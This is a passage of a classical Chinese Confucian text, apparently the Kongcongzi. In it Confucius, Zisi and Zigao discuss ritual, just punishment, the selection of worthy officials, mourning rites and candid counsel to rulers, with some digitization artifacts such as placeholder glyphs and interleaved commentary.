贡对曰未尽夫子之美也.夫子德高则配天.深则配海. 若予之言.行事之实也.夫子曰夫言贵实.使人信之. 舍实何称乎.是赐之华不若予之实也.\n孔子适齐.齐景公让登.夫子降一等.景公三辞然后 登.既坐.曰夫子降德辱临寡人.寡人以为荣也.而降 阶以远自绝于寡人.寡人未知所以为罪.孔子答曰、君 惠顾外臣.君之赐也.然以匹夫敌国君.非所敢行也. 虽君私之.其若义何.颜雠由善事亲.子路义之.后雠 以非罪执.于义将厄.子路请以金赎焉.人将许之.既 而二三子纳金于子路以入卫.或谓孔子曰.受人之金以 赎其私昵.义乎.子曰义而赎之.贫取于友.非义而何 .爱金而令不辜陷辟.凡人且犹不忍.况二三子于由之 所亲乎.诗云.如可赎兮.人百其身.茍出金可以生人 .虽百倍古人不以为多.故二三子其欲由也成其义.非 汝之所知也.\n孔子读诗及小雅.喟然而叹曰.吾于周南召南见周道 之所以盛也.于柏舟、见匹妇执志之不可易也.于淇澳 、见学之可以为君子也.于考槃、见遁世之士而不闷也 .于木瓜、见包且之礼行也.于缁衣、见好贤之心至也 .于鸡鸣、见古之君子不忘其敬也.于伐檀、见贤者之 先事后食也.于蟋蟀、见陶唐俭德之大也.于下泉、见 乱世之思明君也.于七月、见豳公之所造周也.于东山 、见周公之先公而后私也.于狼跋、见周公之远志所以 为圣也.于鹿鸣、见君臣之有礼也.于彤弓、见有功之 必报也.于羔羊、见善政之有应也.于节南山、见忠臣 之忧世也.于蓼莪、见孝子之思养也.于四月、见孝子 之思祭也.于裳裳者华、见古之贤者世保其禄也.于采 菽、见古之明王所以敬诸侯也.\n孔子昼息于室而鼓琴焉.闵子自外闻之.以告曾子. 曰.向也夫子之音清彻以和.沦入至道.今也更为幽沈 之声.幽则利欲之所为发.沈则贪得之所为施.夫子何 所感而若是乎.吾从子入而问焉.曾子曰诺.二子入问 夫子.夫子曰然.女言是也.吾有之.向见猫方取鼠. 欲其得之.故为之音也.女二人者孰识诸.\n曾子对曰闵子.夫子曰可与听音矣.\n孔子适卫、卫将军文子问曰、吾闻鲁公父氏不能听狱 .信乎.孔子答曰、不知其不能也.夫公父氏之听狱. 有罪者惧.无罪者耻.文子曰有罪者惧.是听之察.刑 之当也.无罪者耻.何乎.孔子曰齐之以礼.则民耻矣 .刑以止刑.则民惧矣.文子曰今齐之以刑.刑犹弗胜 何礼之齐.孔子曰以礼齐民譬之于御则辔也.以刑齐民 譬之于御则鞭也.执辔于此而动于彼御之良也.无辔而 用策则马失道矣.文子曰以御言之.左手执辔.右手运 策.不亦速乎.若徒辔无策.马何惧哉.孔子曰吾闻古 之善御者.执辔如组.两骖如舞.非策之助也.是以先 王盛于礼而薄于刑.故民从命.今也废礼而尚刑.故民 弥暴.\n文子曰吴越之俗无礼而亦治.何也.孔子曰、夫吴越 之俗.男女无别.同厕而浴.民轻相犯.故其刑重而不 胜.由无礼也.中国之教.为外内以别男女.异器服以 殊等类.故其民笃而法.其刑轻而胜.由有礼也.\n孔子曰、民之所以生者衣食也.上不教民.民匮其生 .饥寒切于身而不为非者寡矣.故古之于盗.恶之而不 杀也.今不先其教而一杀之.是以罚行而善不反.刑张 而罪不省.夫赤子知慕其父母.由审故也.况为政者夺 其贤者而与其不贤者以化民乎.知审此二者则上盗息. 上盗犹大盗也书曰兹殷罚有伦. 子张问曰何谓也.孔子曰不失其理之谓也.今诸侯不同 德.国君异法折狱无伦.以意为限.是故知法之难也. 子张曰古之知法者与今之知法者异乎.孔子曰古之知法 者能远.能远者止其源而以礼教先之今 之知法者不失有罪.不失有罪其于怨寡矣.能远则于狱 其防深矣.寡怨近乎滥.防深治乎本.书曰维敬五刑、 以成三德、言敬刑所以为德也.\n书曰非从维从.孔子曰君子之于人也.有不语也.无 不听也.况听讼乎.必尽其辞矣.夫听讼者.或从其情 .或从其辞.辞不可从.必断以情.书曰人有小罪、非 眚、乃惟终、自作不典、式尔有厥罪小、乃不可不杀、 乃有大罪、非终、乃为眚灾、适尔既道极厥辜、时乃不 可杀.\n曾子问听狱之术、孔子曰其大法有三焉.治必以宽宽 之之术归于察察之之术归于义.是故听而不宽是乱也. 宽而不察是慢也.察而不中义是私也.私则民怨.故善 听者虽不越辞.辞不越情.情不越义.书曰上下比罚、 无僭乱辞、书曰哀矜折狱、仲弓问曰何谓也、孔子曰古 之听讼者.察贫穷哀孤独及鳏寡老弱不肖而无告者.虽 得其情.必哀矜之.●者不可生.断者不可属若老而刑 之谓之悖.弱而刑之谓之克.不赦过谓之逆.率过以小 罪谓之枳.一作疻犹伤也夫过则宜宥若 率以为小罪亦伤乎义故宥过赦小罪.老弱不受刑. 先王之道也.书曰大辟疑赦、又曰与其杀不辜、宁失不 经、书曰若保赤子、子张问曰听讼可以若此乎、孔子曰 可哉.古之听讼者.恶其意不恶其人.求所以生之.不 得其所以生乃刑之.君必与众共焉.今之听讼者.不恶 其意而恶其人.求所以杀.是反古之道也.\n孟氏之臣叛、武伯问孔子、曰如之何.荅曰臣人而叛\n.天下所不容也.其状自反.子姑待之.三旬果自归孟\n氏.武伯将执之.访于夫子.夫子曰无也.子之于臣.\n礼意不至是以去子.今其自反.罪以反除.又何执焉.\n子修礼以待之.则臣去子将安往.武伯乃止.\n子思问于夫子曰、为人君者、莫不知任贤之逸也、而 不能用贤、何故子曰非不欲也.所以官人任能者.由于 不明也.其君以誉为赏.以毁为罚.贤者不居焉.\n子思问于夫子曰、伋闻夫子之谄正俗、化民之政、莫 善于礼乐也、管子任法以治齐、而天下称仁焉.是法与 礼乐异用而同功也.何必但礼乐哉.子曰尧舜之功.百 世不辍.仁义之风远也.管仲任法.身死则法息.严而 寡恩也.若管仲之知.足以定法.材非管仲而专任法. 终必乱成矣.\n子思问于夫子曰、物有形类、事有真伪、必审之、奚 由、子曰由乎心.心之精神是谓圣.推数究理不以疑. 心诚神通则数不能遁周其所察. 圣人难诸.\n赵简子使聘夫子、夫子将至焉及河、闻鸣犊与窦犨之 见杀也、回舆而旋之卫、使鄹、遂为操、曰周道衰微礼 乐陵迟.文武既坠.吾将焉归.周游天下.靡邦可依. 凤鸟不识.□宝枭鸱.眷然顾之.惨然心悲.巾车命驾 .将适唐都.黄河洋洋.攸攸之鱼.临津不济.还辕息 鄹.伤于道穷.哀彼无辜.翱翔于卫.复我旧庐.从吾 所好.其乐只且.\n哀公使以币如卫迎夫子、而卒不能赏用也、故夫子作 丘陵之歌、曰登彼丘陵.峛崺其阪.丘 陵谓王室也阪指诸侯仁道在迩.求之若远.遂迷不 复.自婴屯蹇.喟然回虑.题彼泰山.题 顾也泰山谓鲁也郁确其高.梁甫回●枳棘充路.陟 之无缘.将伐无柯.患兹蔓延.惟以永叹.涕霣潺湲. 梁甫太山之下小山指三桓也楚土 使使奉金币聘夫子、宰子冉有曰、夫子之道、至是行矣 、遂请见、问夫子曰太公勤身苦志.八十而遇文王.孰 与许由之贤夫子曰许由.独善其身者也.太公、兼利天 下者也.然今世无文王之君也.虽有太公.孰能识之. 乃歌曰大道隐兮礼为基.贤人窜兮将待时.天下如一欲 何之.\n叔孙氏之车子曰锄商、樵于野而获兽焉、众莫之识、\n以为不祥、弃之五父之衢、冉有告夫子、曰□身而肉角\n、岂天之妖乎、夫子曰今何在.吾将观焉.遂往.谓其\n御高柴曰.若求之言.其必麟乎.到视之.果信.言偃\n问曰.飞者宗凤.走者宗麟.为其难致也.敢问今见.\n其谁应之.子曰天子布德.将致太平.则麟凤龟龙先为\n之祥.今宗周将灭.天下无主.孰为来哉.遂泣.曰予\n之于人.犹麟之于兽也.麟出而●.吾道穷矣.乃歌.\n曰唐虞世兮麟凤游.今非其时吾何求.麟兮麟兮我心忧\n.\n县子问子思曰、县子名□鲁人吾 闻同声者相好、子之先君见子产时、则兄事之而世谓子 产仁爱、称夫子圣人、是谓圣道事仁爱乎、吾未谕其人 之孰先后也、故质于子、子思曰然、子之问也.昔季孙 问子游亦若子之言也.子游答曰以子产之仁爱.譬夫子 其犹浸水之与膏雨乎.康子曰子产死、郑人丈夫舍玦佩 .妇女舍珠瑱.巷哭三月.竽瑟不作.夫子之死也.吾 未闻鲁人之若是也.奚故哉.子游曰夫浸水之所及也则 生.其所不及则死.故民皆知焉.膏雨之所生也广莫大 焉.民之受赐也普矣.莫识其由来者.上德不德.是以 无德.季孙曰善.县子曰其然.\n孟子车尚幼.请见子思.子思见之.甚悦其志.命子 上侍坐焉.礼敬子车甚崇.子上不愿也.客退.子上请 曰、白闻士无介不见.女无媒不嫁.孟孺子无介而见. 大人悦而敬之.白也未谕.敢问.子思曰然.吾昔从夫 子于郯遇程子于涂.倾盖而语.终日而别.命子路将束 帛赠焉.以其道同于君子也.今孟子车孺子也.言称尧 舜.性乐仁义.世所希有也.事之犹可.况加敬乎.非 尔所及也.\n子思在鲁、使以书如卫问子上、子上北面再拜受书伏 读、然后与使者晏、遂为复书、返中庭、北面再拜以授 使者、既受书、然后退、使者还鲁问子思、曰吾子堂上 南面立授臣书、事毕送臣、子上中庭拜授臣书而不送、 何也、子思曰拜而不送.敬也.使而送之.宾也.鲁人 有同姓死而弗吊者、人曰在礼当免不免、当吊不吊、有 司罚之、如之何子之无吊也、答曰吾以其疏远也、子思 闻之.曰无恩之甚也.昔者季孙季康子 问于夫子.曰百世之宗有绝道乎.子曰继之以姓义 无绝也.故同姓为宗.合族为属.虽国子之尊不废其亲 .所以崇爱也.是以缀之以食.序列昭穆.万世婚姻不 通.忠笃之道然也.\n鲁穆公访于子思、曰寡人不得嗣先君之业二年矣、未 知所以为令名者、且欲掩先君之恶以扬先君之善、使谈 者有述焉、为之若何、愿先生教之也、子思答曰以伋所 闻舜禹之于其父.非勿欲也.以为私情之细不如公义之 大.故弗敢私之云耳.责以虚饰之教.又非伋所得言. 公曰思之可以利民者.子思曰顾有惠百姓之心则莫如一 切除非法之事也.毁不居之室以赐穷民.夺嬖宠之禄以 赈困匮.无令人有悲怨而后世有闻见.抑亦可.公曰诺 .\n县子问子思曰、颜回问为邦、夫子曰行夏之时、若是 、殷周异正为非乎、子思曰夏数得天.尧舜之所同也. 殷周之王.征伐革命以应乎天.因改正朔.若云天时之 改耳.故不相因也.夫受禅于人者则袭其统.受命于天 者则革之.所以神其事.如天道之变然也.三统之义. 夏得其正.是以夫子云.\n穆公问于子思曰.立太子有常乎.答曰有之.在周公 之典.公曰昔文王舍适而立其次.微子舍孙而立其弟. 是何法也.子思曰殷人质.而尊其尊故立弟.周人文而 亲其亲故立子.亦各其礼也.文质不同.其礼则异.文 王舍适立次.权也.公曰茍得行权岂唯圣人.唯贤与爱 立也.子思曰圣人不以权教.故立制垂法.顺之为贵. 若必欲犯.何有于异.公曰舍贤立圣舍愚立贤.何如. 子思曰唯圣立圣.其文王乎.不及文王者.则各贤其所 爱.不殊于适.何以限之.必不能审贤愚之分.请父兄 群臣.卜于祖庙.亦权之可也.\n孟轲问牧民何先、子思曰先利之、曰君子之所以教民\n、亦仁义回所以利之乎、子思曰、上不仁则下不得其所\n.上不义则乐为乱也.此为不利大矣.故易曰利者义之\n和也.又曰利用安身.以崇德也.此皆利之大者也.\n子思适齐、齐君之嬖臣美须眉立乎侧、齐君指之而笑 、且言曰假貌可相易.寡人不惜此之须眉于先生也.子 思曰非所愿也.所愿者唯君修礼义富百姓.而伋得寄帑 于君之境内.从繦负之列.其荣多矣.若无此须鬣.非 伋所病也.昔尧身修十尺.眉分八彩.实圣.舜身修八 尺有奇.面颔无毛.亦圣.禹汤文武及周公勤思劳体. 或拆臂望视或秃骭背偻.亦圣.不以须眉美鬣为称也. 人之贤圣在德.岂在貌乎.且吾性无须眉.而天下王侯 不以此损其敬.由是言之.伋徒患德之不邵美也.不病 毛□之不茂也.\n子思谓子上曰、有可以为公之尊而富贵人众不与焉者 .非唯志乎.成其志者.非唯无欲乎.夫锦缋纷华.所 服不过温体.三牲大牢.所食不过充腹.知以身取节者 则知足矣.茍知足则不累其志矣.\n曾子谓子思曰、昔者吾从夫子巡守于诸侯.夫子未尝 失人臣之礼.而犹圣道不行.今吾观子有傲世主之心. 无乃不容乎.子思曰时移世异.人有宜也.当吾先君. 周制虽毁.君臣固位.上下相持.若一体然夫欲行其道 .不执礼以求之.则不能入也.今天下诸侯方欲力争. 竞招英雄以自辅翼.此乃得士则昌失士则凶之秋也.伋 于此时不自高.人将下吾.不自贵.人将贱吾.舜禹揖 让.汤武用师.非故相诡.乃各时也.\n子思在齐、尹文子生子不类、怒而杖之、告子思曰此 非吾子也、吾妻殆不妇、吾将黜之、子思曰若子之言. 则尧舜之妃复可疑也.此二帝圣者之英.而丹朱商均不 及匹夫.以是推之.岂可类乎.然举其多者.有此父斯 有此子.道之常也.若夫贤父之有愚子.此由天道自然 .非子之妻之罪也.尹文子曰先生止之愿无言.文留妻 矣.\n孟轲问子思曰、尧舜文武之道、可力而致乎、子思曰 彼人也我人也.称其言.履其行.夜思之.昼行之.滋 滋焉.汲汲焉如农之赴时.商之趣利.恶有不至者乎.\n子思谓孟轲曰、自大而不修.其所以大不大矣.自异 而不修.其所以异不异矣.故君子高其行则人莫能阶也 .远其志则人莫能及也.礼接于人人不敢慢.辞交于人 人不敢侮.其唯高远乎.\n申祥问曰子张之子殷人自契至 汤而王、周人自弃至武王而王、同喾之后也、周人追王 大王王季文王、而殷人独否、何也、子思曰文质之异也 .周人之所追大王.王迹起焉.又曰文王受命、断虞芮 之讼、伐崇邦、退犬戎、追王大王王季、何也、子思曰 狄人攻大王.大王召耆老而问焉.曰狄人何来.耆老曰 欲得菽粟财货.大王曰与之.与之至无而狄人不止.大 王又问耆老曰狄人何欲.耆老曰欲土地.大王曰与之. 耆老曰君不为社稷乎.大王曰社稷所以为民也.不可以 所为民者亡民也.耆老曰君纵不为社稷不为宗庙乎.大 王曰宗庙者私也.不可以吾私害民.遂杖策而去.过梁 山.止乎岐下.豳民之束修奔而从之者三千乘.一止而 成三千乘之邑.此王道之端也.成王于是追而王之.王 季其子也.承其业.广其基焉.虽同追王.不亦可乎.\n羊客问子思曰、古之帝王中分天下、使二公治之、谓 之二伯、周自后稷封为王者后、子孙据国、至大王王季 文王、此固世为诸侯矣、焉得为西伯乎、子思曰吾闻诸 子夏.殷王帝乙之时.王季以功.九命作伯.受珪瓒鬯 之赐.故文王因之.得专征伐.此以诸侯为伯.犹周召 之君为伯也.\n子思年十六适宋、宋大夫乐朔与之言学焉、朔曰尚书\n虞夏数四篇善也、下此以讫于秦费、效尧舜之言耳、殊\n不如也、子思答曰事变有极.正自当耳.假令周公尧舜\n不更时异处.其书同矣.乐朔曰凡书之作.欲以喻民也\n简易为上、而乃故作难知之辞、不亦繁乎、子思曰书之\n意兼复深奥训诂成义古人所以为典雅也.曰昔鲁委巷亦\n有似君之言者、伋答之曰道为知者传.茍非其人道不传\n矣今君何似之甚也.乐朔不悦而退.曰孺子辱吾、其徒\n曰鲁虽以宋为旧、然世有雠焉、请攻之、遂围子思、宋\n君闻之、不待驾而救子思、子思既免、曰文王困于羑里\n作周易.祖君屈于陈蔡作春秋.吾困于宋可无作乎.于\n是撰中庸之书四十九篇.\n闾邱温见田氏将必危齐、欲以其邑叛而适鲁、穆公闻 之、谓子思曰、子能怀之、则寡人割邑如其邑以常宗、 子思曰伋虽能之.义所不为也.公曰何、子思对曰、彼 为人臣.君将败.弗能扶而叛之.逆臣制国.弗能以其 身死而逃之.此罪诛之人也.伋纵不能讨.而又要利以 召奸.非忍行也.\n穆公问子思曰、吾闻龙榈氏子不孝、其行何如、对曰 臣闻明君之为政.尊贤以崇德.举善以劝民.则四方之 内孰敢不化.若夫过行是细人所识.不治其本而问其过 .臣不知所以也公曰善.\n穆公谓子思曰、子之书所记夫子之言、或者以谓子之 辞、子思曰臣所记臣祖之言.或亲闻之者.有闻之于人 者.虽非正其辞.然犹不失其意焉.且君之所疑者何. 公曰于事无非.子思曰无非所以得臣祖之意也.就如君 言以为臣之辞.臣之辞无非.则亦所宜贵矣.事既不然 .又何疑焉.\n穆公谓子思曰、县子言子之为善不欲人誉巳、信乎、 子思对曰非臣之情也.臣之修善.欲人知之.知之而誉 臣.是臣之为善有劝也.此所愿而不可得者也.若臣之 修善而人莫知.莫知则必毁臣.是臣之为善而受毁也. 此臣所不愿而不可避者也.若夫鸡鸣为善.滋滋以至夜 半.而曰不欲人之知.恐人之誉巳.臣以谓斯人也者. 非虚则愚也.\n胡母豹鲁人谓子思曰、子好大 世莫能容子也、盍亦随时乎、子思曰大非所病.所病不 大也.凡所以求容于世为行道也.毁道以求容容何行焉 .大不见容.命也.毁大而求容.罪也.吾弗改矣.\n子思居贫、其友有馈之粟者、受一车焉、或献樽酒束 修、子思弗为受也、或曰子取人粟而辞吾酒脯、是辞少 而取多也、于义则无名、于介则不全、而子行之、何也 、子思曰然.伋不幸而贫于财.至乃困乏.将恐绝先人 之祀.夫以受粟为周乏也.酒脯则所以饮宴也.方乏于 食而乃饮宴.非义也.吾岂以为介哉.度义而行也.或 者担其酒脯以归.\n穆公问子思曰、吾国可兴乎、子思曰可.公曰为之奈 何、对曰茍君与大夫慕周公伯禽之治.行其政化.开公 家之惠.杜私门之利.结恩百姓.修礼邻国.其兴也勃 矣.\n子思曰吾之富贵甚易而由不能.夫不取于人谓之富.\n不辱于人谓之贵.不取不辱.其于富贵庶矣哉.\n子思曰道伸.吾所愿也.今天下王侯其孰能哉.与屈 巳以富贵.不若抗志以贫贱屈巳则制于人抗志则不愧于 道.\n子思居卫、卫人钓于河、得鳏鱼焉、其大盈车、子思 问之、曰鳏鱼、鱼之难得者也、子果何得之、对曰吾始 下钓.垂一鲂之饵鳏过而弗视也.更以豚之半体.则吞 之矣.子思喟然曰鳏虽难得.贪以死饵.士虽怀道贪以 死禄矣.\n子思居卫、鲁穆公卒、县子使乎卫、闻丧而服、谓子 思曰子虽未臣、鲁父母之国也、先君宗庙在焉、奈何不 服、子思曰吾岂爱乎.礼不得也.县子曰请问之.答曰 臣而去国.君不扫其宗庙.则为之服.寄公寓乎是国而 为国服.吾既无列于鲁.而祭在卫.吾何服哉.是寄臣 而服所寄之君.则旧君无服.明不二君之义也.县子曰 善哉.我未之思也.卫君言计是非、而群臣和者如出一 口、子思曰以吾观所为.君不君臣不臣者也.公丘懿子 曰何乃若是.子思曰人主自臧.则众谋不进.事是而臧 之.犹却众谋.况和非以长乎.夫不察事之是非.而悦 人之赞巳.闇莫甚焉.不度理之所在.而阿谀求容.谄 莫甚焉.君闇臣谄.以居百姓之上.民弗与也.若此不 巳.国无类矣.\n子思谓卫君曰、君之国事将日非矣.君曰何故.对曰 有由然焉.君出言皆自以为是.而卿大夫莫敢矫其非. 卿大夫出言亦皆自以为是.而士庶莫敢矫其非.君臣既 自贤矣.而群下同声贤之.贤之则顺而有福.矫之则逆 而有祸.故使如此如此则善安从生.诗曰具曰予圣、谁 知鸟之雌雄抑亦似卫之君臣乎、卫君问子思曰、寡人之 政何如、答曰无非.君曰寡人不知其不肖.亦望其如此 也.子思曰希旨容媚.则君亲之.中正弼非.则君疏之 .夫能使人富贵贫贱者.君也在朝之士.孰肯舍所以见 亲而取其所以见疏者乎.是故竞求射君之心.而莫敢有 非君之非者.此臣所谓无非也.公曰然乎.寡人之过也 .今知改矣.答曰君弗能焉.口顺而心不怿者.临其事 必疣.君虽有命.臣未敢受也.\n司徒文子改葬其叔父、问服于子思、子思曰礼、父母 改葬缌.既葬而除.不忍无服送至亲也.非父母无服. 无服则吊而加麻.文子曰丧服既除、然后乃葬则其服何 服、答曰三年之丧.未葬服不变.除何有焉.期大功之 丧.服其所除之服以葬.既葬而除之.其虞也.吉服以 行事也.\n公叔木谓申祥曰、卫公叔文子之子定 公十四年奔鲁木或作朱春秋作戍吾于子思亲而敬之 .子思未吾察也.申祥以告.曰人求亲敬于子.子何辱 焉.子思答曰义也.申祥曰请闻之.答曰公叔氏之子爱 人之同巳慢而不知贤.夫其亲敬非心见吾所可亲敬也以 人口而亲敬吾则亦以人口而疏慢吾矣申祥曰其不知贤奈 何.答曰有龙穆者、徒好饰美辞说.观于坐席.相人眉 睫以为之意.天下之浅人也.而公叔子交之.桥子良、 修实而不修名.为善不为人之知巳.不撞不发.如大钟 然.天下之深人也.而公叔子与之同邑而弗能知此其所 以为爱同巳而不知贤也.子思自齐反卫、卫君馆而问曰 、卫敬公先生鲁国之士、然不以 卫之褊小、犹步玉趾而慰存之、愿有赐于寡人也、子思 曰臣羇旅于此.而辱君之威尊亟临荜门.其荣多矣欲报 君以财币.则君之府藏巳盈而伋又贫.欲报君以善言. 恐未合君志而徒言不听也.顾未有可以报君者.唯进贤 尔.卫君曰贤固寡人之所愿也.子思曰未审君之愿将何 以为君曰必用以治政.子思曰君弗能也.君曰何故.答 曰卫国非无贤才之士.而君未有善政.是贤才不见用故 也.君曰虽然.愿闻先生所以为贤者.答曰君将以名取 士耶.以实取士耶.君曰必以实.子思曰卫之东境有李 音者.贤而有实者也.君曰其父祖何也.答曰世农夫也 .卫君乃胡卢大笑.曰寡人不好农.农夫之子无所用之 .且世臣之子未悉官之.子思曰臣称李音、称其贤才也 .周公大圣.康叔大贤.今鲁卫之君未必皆同其祖考. 李音父祖虽善农.则音亦未必与之同也.君言世臣之子 未悉官之.则臣所谓有贤才而不见用果信矣.臣之问君 .固疑君之取士不以实也.今君不问李音之所以为贤才 .而闻其世农夫因笑而不爱.则君取士果信名而不由实 者也.卫君屈而无辞.\n卫君曰夫道大而难明、非吾所能也、今欲学术何如、 子思曰君无然也.体道者逸而不穷.任术者劳而无功. 古之笃道君子.生不足以喜之.利何足以动之.死不足 以禁之.害何足以怨之.禁或作忌怨或 作惧故明于死生之分.通于利害之变.虽以天下易 其胫毛.无所□于志矣.是以与圣人居.使穷士忘其贫 贱.使王公简其富贵.君无然也.卫君曰善.\n齐王谓子思曰、今天下扰扰、诸侯无伯、吾国大人众 、图帝何如、子思曰不可也、君不能去君贪利之心、王 曰何如、子思曰夫水之性清而土壤汨之.人之性安而嗜 欲乱之.故能有天下者.必无以天下为者也.能有名誉 者.必无以名誉为者也.达此则其利心外矣.\n卫将军文子之内子死、复者曰皋媚女复、子思闻之. 曰此女氏之字.非夫氏之名也.妇人于夫氏.以姓氏称 礼也.\n费子阳鲁大夫家臣谓子思曰、 吾念宗周将灭、泣涕不可禁也、子思曰然此亦子之善意 也.夫能以智知可知.而不能以智知未可知.危之道也 .今以一人之身.忧世之不治.而泣涕不禁.是忧河水 之浊而以泣清之也.其为无益莫大焉.故微子去殷.纪 季入齐.良知时也.唯能不忧世之乱而患身之不治者. 可与言道矣.\n齐王戮其臣不辜、谓子思曰、吾知其不辜、而适触吾 忿故戮之、以为不足伤义也、子思曰、文王葬枯骨而天 下知仁.商纣斩朝涉而天下称暴.夫义者不必遍利天下 也.暴者不必尽虐海内也.以其所施而观其意民乃去就 焉.今君因心之忿.迁戮不辜.以为无伤于义.此非臣 之所敢知也.王曰寡人实过.乃今闻命.请改之.\n卫公子交见于子思、曰先生圣人之后、执清高之操、 天下之君子、莫不服先生之大名也、交虽不敏、窃慕下 风、愿师先生之行、幸顾恤之、子思曰公子不宜也.夫 清高之节.不以私自累.不以利烦意.择天下之至道. 行天下之正路.今公子绍康叔之绪.处战伐之世.当务 收英雄保其疆土.非所以明臧否立规检修匹夫之行之时 也.\n卫公子交馈马四乘于子思、曰交不敢以此求先生之欢 而辱先生之洁也.先生久降于鄙土.盖为宾主之饩焉. 子思曰伋寄命以来.度身以服卫之衣量腹以食卫之粟矣 .又且朝夕受酒脯及祭燔之赐.衣食巳优.意气巳定. 以无行志.未敢当车马之贶.礼虽有爵赐人.不逾父兄 .今重违公子之盛旨.则有失礼之僣焉.若何.公子曰 交巳言于君矣.答曰不可.为人子者三赐不及车马.公 子曰我未之闻也.谨受教.\n穆公欲相子思、子思不愿.将去鲁、鲁君曰天下之王 亦犹寡人也、去将安之、子思答曰盖闻君子犹鸟也.疑 之则举.今君既疑矣.又以巳限天下之君臣窃为言之过 也.\n齐王谓子思曰、先生名高于海内、吐言则天下之士莫 不属耳目、今寡人欲相梁起、起也名少、愿先谈说之也 、子思曰天下之士所以属耳目者.欲伋之言是非当也. 今君使伋虚谈于起.则天下之士必改耳目矣.耳目既改 .又无益于起.是两有丧也.故不敢承命.齐君曰起之 不贤何也.子思曰君岂未之知乎.厚于财物必薄于德. 自然之道也.今起以贪成富、闻于诸侯.而无救施之惠 焉.以好色闻于齐国.而无男女之别焉.有一于此.犹 受其咎.而起二之.能无累乎.王曰寡人之言实过.愿 先生赦焉.子思见老莱子、老莱子闻穆公将相子思、老 莱子曰若子事君、将何以为乎、子思曰顺吾性情.以道 辅之.无死亡焉.老莱子曰不可顺子之性也子性刚而傲 不肖又且无所死亡.非人臣也.子思曰不肖固人之所傲 也.夫事君道行言听.则何所死亡.道不行言不听.则 亦不能事君.所谓无死亡也.老莱子曰子不见夫齿乎. 齿坚刚卒尽相磨.舌柔顺终以不獘.子思曰吾不能为舌 .故不能事君.\n孔丛卷上终\n李寅言曹良于平原君欲仕之平原君以问子高子高曰不\n识也.平原君曰良常得见于先生矣.故敢问.子高曰世\n人多自称上用我.则国无患.夫用智莫若观其身.其身\n且犹不免于患.国用之亦乌得无患乎.平原君曰良之有\n患时不明也.居家理.治可移于官.良能殖货.故欲仕\n之.子高曰未可知也.今有人于此.身脩计明而贫者志\n不存也.身不脩会计闇而富者.非盗无所得之也.\n平原君与子高饮、强子高酒曰昔有遗谚.尧舜千钟. 孔子百觚.子路嗑嗑.尚饮十榼古之圣贤无不能饮也. 吾子何辞焉.子高曰以穿所闻贤圣以道德兼人.未闻以 饮食也.平原君曰即如先生所言.则此言何生.子高曰 生于嗜酒者.盖其劝厉奖戏之辞.非实然也.平原君欣 然.曰吾不戏子无所闻此雅言也.\n平原君问子高曰、吾闻子之先君、亲见卫夫人南子、 又云南游遇乎阿谷而交辞于漂女、信有之乎答曰士之相 信.闻流言而不信者何哉以其所巳行之事占之也昔先君 在卫.卫君问军旅焉.拒而不告问不巳摄驾而去.摄 取也卫君请见.犹不能终.何夫人之能觌乎.古者 大飨.夫人与焉.于时礼仪虽废.犹有行之者.意卫君 夫人飨夫子则夫子亦弗获巳矣.若夫阿谷之言.起于近 世.殆是假其类以行其心者之为也.\n子高适卫、会秦兵将至、信陵君惧、造子高之馆而问 祈胜之礼焉、子高曰命勇谋之将以御敌.先使之迎于敌 所从来之方为坛祈克于五帝.衣服随其方色.执事人数 从其方之数.牲则用其方之牲祝史告于社稷宗庙邦域之 内名山大川君亲素服誓众于太庙.曰某人不道侵犯大国 .二三子尚皆同心比力死守.将帅稽首再拜受命.既誓 .将帅勒士卒陈于庙之右.君立太庙之庭.祝史立于社 .百官各警其事御于君以待命.乃大鼓于庙门.诏将帅 命卒习射三发.击刺三行.告庙用兵于敌也.五兵备效 .乃鼓而出以即敌.此诸侯应敌之礼也信陵君曰敬受教 .信陵君问子高曰、古者军旅赏人必于祖、戮人必于社 、其义何也、答曰赏功于祖告分之均示不敢专也.戮罪 于社告中于土示听之当也.\n陈尪魏人性多秽訾、每得酒食\n、必先拨捐之然后乃食、子高告之、曰子无然也.似有\n态者.昔君子之于酒食.有率尝之义.无捐放之道.假\n其可食.其上下如择假令不洁.其下滋甚.陈尪曰吾知\n其无益、意欲如此、子高曰意不可恣也.夫木之性以檃\n括自直.可以人而不如木乎.子不见夫鸡耶.聚榖如陵\n.跪而啄之.若纵子之意.则与鸡岂有异乎.陈尪跪、\n曰吾今而后知过矣、请终改之、子高任司马乂为将于齐\n与燕战而败齐君曰以子贤明、故信子也、答曰君知穿孰\n若周公.齐君曰周公圣人而子贤者、弗如也子高曰然.\n臣固弗如周公也.以臣之知.乂孰若周公之知其弟.齐\n君曰兄弟审于他人.子高曰君之言是也.夫以周公之圣\n.兄弟相知之审.而近失于管蔡.明人难知也.臣与乂\n相见.观其材志察其所履.齐国之士弗能过也.书曰知\n人则哲惟帝难之、穿何惭焉.且曹子为鲁三与齐战.三\n败失地.然后以勇敢之节.奋三尺之剑.要桓公管仲于\n盟坛.卒败其所丧.夫君子之败.如日月之蚀.人各有\n能.乂庸可弃于今燕以诈破乂是乂不能于诈也.臣之称\n乂.称其武勇才艺.不称其诈也.乂虽败.臣固不失其\n所称焉.齐君屈辞而不黜司马乂.\n子高谓魏王曰、臣入魏国.见君之二计臣焉张叔谋有 余.范威智不逮.然其功一也.王曰叔也有余.威也不 逮.何同乎.答曰驽骥同辕.伯乐为之咨嗟.玉石相揉 .和氏为之叹息.故贤愚共贯则能士匿谋.真伪相错则 正士结舌.叔虽有余犹威不逮也.\n魏王问何如可谓大臣、子高荅曰、大臣则必取众人之 选.能犯颜谏争公正无私者.计陈事成主裁其赏事败臣 执其咎主任之而无疑臣当之而弗避君总其美臣行其义. 然则君不猜于臣.臣不隐于君.故动无过计.举无败事 .是以臣主并各有得也.\n信陵君问曰、古之善为国、至于无讼、其道何由.答 曰由乎政善也.上下勤德而无私德无不化俗无不移.众 之所誉.政之所是也.众之所毁.政之所非也.毁誉是 非.与政相应所以无讼也.\n齐王行车裂之刑、群臣诤之弗听、子高见于齐王、曰 闻君行车裂之刑.无道之刑也.而君行之.臣窃以为下 吏之过也.王曰寡人以民多犯法.为法之轻也.子高曰 然.此诚君之盛意也.夫人含五常之性.有喜怒哀乐. 喜怒哀乐无过其节.节过则毁于义.民多犯法.以法重 无所措手足也.今天下悠悠士无定处有德则往.无德则 去.欲规霸王之业.与众大国为难.而行酷刑以惧远近 .国内之民将叛.四方之士不至.此乃亡国之道.君之 下吏不具以闻徒恐逆主意以为忧.不虑不谏之危亡其所 矜者小所丧者大.故曰下吏之过也.臣观之.又非徒不 诤而巳也心知此事之为不可.将有非议在后.则因曰君 